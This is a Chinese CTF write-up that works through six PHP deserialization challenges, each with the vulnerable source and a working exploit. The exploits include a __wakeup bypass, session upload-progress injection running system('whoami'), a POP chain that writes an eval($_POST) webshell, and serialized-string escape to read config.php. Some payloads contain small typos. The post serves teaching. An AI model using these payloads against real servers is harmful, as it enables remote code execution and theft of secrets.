白袍的小行星

PHP反序列化大挑战

字数统计: 3.9k阅读时长: 19 min
2020/03/17 Share

经过了一段时间的刷题,发现自己在反序列化这里的认识还很浅薄,魔鬼训练走一波。

大量代码预警!!!

Level 0

<?php
error_reporting(0);
include "flag.php";
$KEY = "adan0s";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
?>

让反序列化后的$str等于adan0s就可以了,payload:http://test.com/str=s:6:"adan0s;"

Level 1

提示:需要一个CVE

<?php 
class Ctf{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
}



if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=$_GET['file'];
echo unserialize($file);
}
?>

这里要让$file为flag.php,但是存在__wakeup()方法,每次反序列化的时候都会先调用它,这样我们就无法控制$file了。

CVE-2016-7124可以绕过__wakeup()方法,具体为:

序列化字符串中表示对象属性个数的值大于真实的属性个数

所以payload为:

O:3:"Ctf":1:{S:7:"/00*/00file";s:8:"flag.php";}//原始payload
O:3:"Ctf":2:{S:7:"/00*/00file";s:8:"flag.php";}//最终payload

这样即可绕过__wakeup()的限制。

Level 2

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('sessiontest.php'));
}
?>

phpinfo页面,我们可以看到这样的信息:

序列化和反序列化所使用的处理器不同,就会导致无法正确序列化。

而在这里:

可以看到开启了session.upload_progress.enabled,这会导致我们可以通过POST方法传入$_SESSION其原理为:

当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。

所以我们就构造一个特殊的表单,确保表单里上传一个文件,还有一个与PHP_SESSION_UPLOAD_PROGRESS同名的参数,这样就可以把数据传入$_SESSION.

先从一个例子开始看:

我们可以得到如下的响应:

array(1) {
["upload_progress_123"]=>array(5) {
["start_time"]=>int(1584503278)
["content_length"]=>int(299)
["bytes_processed"]=>int(299)
["done"]=>bool(true)
["files"]=>array(1) {[0]=>array(7) {
["field_name"]=>string(4) "file"
["name"]=>string(6) "adan0s" ["tmp_name"]=>string(22)
"C:\Windows\php9F5C.tmp"
["error"]=>int(0)
["done"]=>bool(true)
["start_time"]=>int(1584503278)
["bytes_processed"]=>int(4)
}
}
}
}

这里我们可以看到,filename是可控的,那么就在这个点进行攻击。

接下来就是构造payload了,使用如下脚本:

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'echo system("whoami");';
}

function __destruct()
{
eval($this->mdzz);
}
}
$c = new OowoO();
echo serialize($c);
?>

还要注意两点:

  1. 需要在payload前加上|,这是因为处理器差异。当session.serialize_handler=php,序列化结果为name|s:6:"adan0s";而当session.serialize_handler=php_serialize时,序列化结果为a:1:{s:4:"name";s:6:"adan0s";},所以需要加上|,让处理器把|之前的内容认为是键名,之后的当做序列化内容。
  2. 要将payload里的"转义,避免产生冲突。

最后结果如图:

我们做到了。

Level 3

<?php
class Adan0s {
protected $test;

function __construct() {
$this->test = new normal();
}

function __destruct() {
$this->test->action();
}
}

class normal {
function action() {
echo "hello";
}
}

class evil {
private $data;
function action() {
eval($this->data);
}
}

unserialize($_GET['d']);
?>

这道题实际上是入门级构造POP链,我们看到在evil类里有action()方法可以执行代码,现在来追溯,可以发现normal类也有一个action()方法,而在Adan0s类的__construct()方法里实例化了normal类,这样就可以构造POP链了。

对于有些PHP不够熟练的同学,可能看不懂$this->test->action();这种写法,一开始我也看不懂,后面发现很简单。$this是指向当前的实例化对象的,也就是test,这个test不一定是所在类的实例化,还可以是别的类的实例化,全看你给不给它赋值了。后面的->action()就是调用方法了。

所以,我们可以写出payload生成脚本:

<?php
class Adan0s {
protected $test;

function __construct() {
$this->test = new evil();
}
}

class evil {
private $data = 'phpinfo();';
}

$a = new Adan0s();
echo urlencode(serialize($a));
?>

此类生成payload脚本的原则就是剔除与数据链条无关的类和方法,只保留最关键的部分。比如此处,我们只用留下这些,其他的都由原先的文件帮你完成。

Level 4

复杂的来了:

<?php

class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};

class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};

class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);
}
};

class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};

class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() {
return $this->name;
}
}

class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};

class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};

class Porter {
static function exportData($lyrics) {
return base64_encode(serialize($lyrics));
}
static function importData($lyrics) {
return serialize(base64_decode($lyrics));
}
};

class Conn {
protected $conn;
function __construct($dbuser, $dbpass, $db) {
$this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
}

function getLyrics($lyrics) {
$r = array();
foreach ($lyrics as $lyric) {
$s = intval($lyric);
$result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
while (($row = $result->fetch_row()) != NULL) {
$r []= unserialize(base64_decode($row[0]));
}
}
return $r;
}

function addLyrics($lyrics) {
$ids = array();
foreach ($lyrics as $lyric) {
$this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
$res = $this->conn->query("SELECT MAX(id) FROM lyrics");
$id= $res->fetch_row(); $ids[]= intval($id[0]);
}
echo var_dump($ids);
return $ids;
}

function __destruct() {
$this->conn->close();
$this->conn = NULL;
}
};

很复杂是吧,慢慢来。

首先我们需要找一个参数可控的反序列化点,就在这里:

class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};

cookie处,我们可以控制传入的数据。

下面要做的是寻找能帮我们达成目标的地方,比如执行代码、写入文件等。

很容易地,就可以看到这里:

class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//写入shell
file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);
}
};

通过这个方法,我们可以写入一个shell.

多点一线,已经搞清楚了首尾两处,剩下的就是将他们串起来。

我个人习惯在这时候找各种魔术方法,Logger类里就有:

class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};

log()方法里出现了writeLog($txt),有戏,现在串通了靠近尾部的一段,继续看哪里可以链接到这里。

很快,你就能找到这里:

class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
.
.
.
function __destruct() {
$this->song->log();
}

};

Lyrics类里有__destruct()方法也使用了log()方法,好像链条已经完整了。

其实还有一点,在LogWriter_File类里使用了LogFileFormat类的format()方法,在这个方法里又用了OutputFilter类的filter()方法,还是得带上他们玩。

梳理一下整个链条:

我们通过cookie传入序列化字符串,内容为实例化一个Lyrics类,并将它的$song属性赋值为一个Logger对象,再将Logger对象的$logwriter属性赋值为一个LogWriter_File对象,

这个对象还要经过其他两个类。

生成脚本为:

<?php
$sh = array(new OutputFilter('//','<?php eval(\$_POST["adan0s"])'));//将空白替换为shell内容
$obj1 = new LogFileFormat($sh,'\n');
$obj2 = new LogWriter_File('shell.php',$obj1);
$obj3 = new Logger($obj2);
$obj = new Lyrics('',$obj3);
echo base64_encode(serialize($obj));
?>

最后将其放入cookie,请求一次即可。

Level 5

最后一题,坚持住。

//profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
//update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
//class.php
<?php
require('config.php');

class user extends mysql{
private $table = 'users';

public function is_exists($username) {
$username = parent::filter($username);

$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}

class mysql {
private $link = null;

public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");

return $this->link;
}

public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}

public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}

public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

public function filter($string) {
$escape = array('\'', '\\\\'); #\ \\
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);

flag在config.php里,我们要做的就是读取这个文件。

profile.php里,有读取文件的地方:

$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

可以看到最后的$photo使用了file_get_contents(),而且$profile是被反序列化了,所以肯定就是这里了。

再看update.php的这里:

$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));

这是数据传入的地方,传入后由update_profile()方法进行更新。

再继续看class.phpuser类继承了mysql类,我们主要关注这里:

public function filter($string) {
$escape = array('\'', '\\\\'); #\ \\
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

可以看到,在update_profile()里使用了这个方法进行过滤,其规则为替换关键字,防止SQL注入。

我们要利用这点,进行反序列化字符串逃逸。在存入数据库之前,是需要进行序列化处理的,如果你的字符串里带了关键字,就会被替换,如下:

a:1:{s:4:"test";s:6:"select";} => a:1:{s:4:"test";s:6:"hacker";}

但是如果你的关键字是where,就会出现意外状况:

a:1:{s:4:"test";s:5:"where";} => a:1:{s:4:"test";s:5:"hacker";}

where是5位长度,但是替换后的hacker为6位,就会导致出错。

PHP在进行序列化相关操作时,执行的是这样一个原则:以前面的数字长度为准,即这样的语句也是可以成功的:

//长度错误,失败
a:2:{s:4:"tool";s:5:"hacker";s:6:"adan0s";s:6:"baipao";}
//成功
a:2:{s:4:"tool";s:5:"hacke";s:6:"adan0s";s:6:"baipao";}";s:6:"adan0s";s:6:"baipao";}

看出来区别了吗?前面的只要符合语法和长度,后面的就直接被忽略了。

这就是世界上最好的语言啦。

现在我们利用这个特性还有替换的长度差异,开始构造payload.

输入这样的数据:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} //34个where

经过序列化后应该是这样:

{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";i:1;s:5:"world";}

204个字长是包括我们后面的";}s:5:"photo";s:10:"config.php";},所以序列化不会出问题。

但是经过替换之后,34个where变成了34个hacker,总共多出34个字长:

{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";i:1;s:5:"world";}

光34个hacker就够204个字长了,等于把后面的";i:1;s:5:"world";}直接“挤”了出去,也就是丢弃掉了后面的,因为符合语法,长度也没问题,所以在后面反序列化的时候不会出错。

好了,我们现在构造好了payload,最后一步就是传入数据了。

但是还有一个拦路虎,在update.php里:

if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

这里对传入的数据进行了检查,最轻的规则是关于nickname的,但是还限制了长度。

长度是可以绕过的,具体可以看我的这篇文章第5条:CTF中的一些小技巧

即我们最后传递nickname[],在内容处填上我们的payload即可成功读取。

结语

经过这几个级别的训练,相信你已经对PHP反序列化漏洞有了较为清晰的认识,那么去分析现实的漏洞吧,0day就在那里!

CATALOG
  1. 1. Level 0
  2. 2. Level 1
  3. 3. Level 2
  4. 4. Level 3
  5. 5. Level 4
  6. 6. Level 5
  7. 7. 结语